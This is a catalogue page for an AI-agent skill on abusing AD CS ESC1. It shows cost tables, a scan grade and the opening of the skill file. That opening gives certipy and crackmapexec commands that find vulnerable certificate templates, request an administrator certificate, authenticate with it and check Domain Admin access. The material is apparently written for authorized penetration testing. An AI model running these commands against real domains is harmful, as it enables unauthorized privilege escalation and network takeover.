Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/ad-cs-esc1-abuseWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/ad-cs-esc1-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00078 | $0.01063 |
| Opus 5 | $0.00039 | $0.00531 |
| Sonnet 5 | $0.00016 | $0.00213 |
| Haiku 4.5 | $0.00008 | $0.00106 |
Grade A, and why
ad-cs-esc1-abuse scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- ad-cs-esc1-abuse — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 122 lines — stays where its author put it; the contents beside it link to each section on GitHub.
AD CS Abuse - ESC1 (Subject Alternative Name)
When to Use
- When operating in a Windows Active Directory environment and you discover that Active Directory Certificate Services (AD CS) is deployed (PKI infrastructure).
- To massively escalate privileges from a standard domain user to Domain Admin by exploiting misconfigured certificate templates.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Identifying AD CS and Vulnerable Templates (ESC1)
# Concept: ESC1 ```
```bash
# certipy find -u [email protected] -p Password123! -dc-ip 10.10.10.10 -vulnerable
Phase 2: Requesting the Certificate
# Concept: With a vulnerable template certipy req -u [email protected] -p Password123! -dc-ip 10.10.10.10 -ca CA-NAME -template VulnerableTemplate -upn [email protected]
Phase 3: Authenticating with the Certificate (Pass-the-Certificate)
# Concept: certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -domain domain.local
Phase 4: Validating Access
# crackmapexec smb 10.10.10.10 -u administrator -H [NTLM_HASH_OBTAINED_FROM_CERTIPY]
Decision Point 🔀
flowchart TD
A[Find Template ] --> B{ESC1 Vulnerable ]}
B -->|Yes| C[Request ]
B -->|No| D[Check ]
C --> E[Auth ]
🔵 Blue Team Detection & Defense
- Audit Templates: Monitor Event Logs: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Ad Cs Esc1 Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 122 lines · 78 tokens per session scan A 3ac04f5250fd
ad-cs-esc1-abuse is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 78 tokens to every session and 1,063 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
ad-cs-esc1-abuse
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acl-abuse
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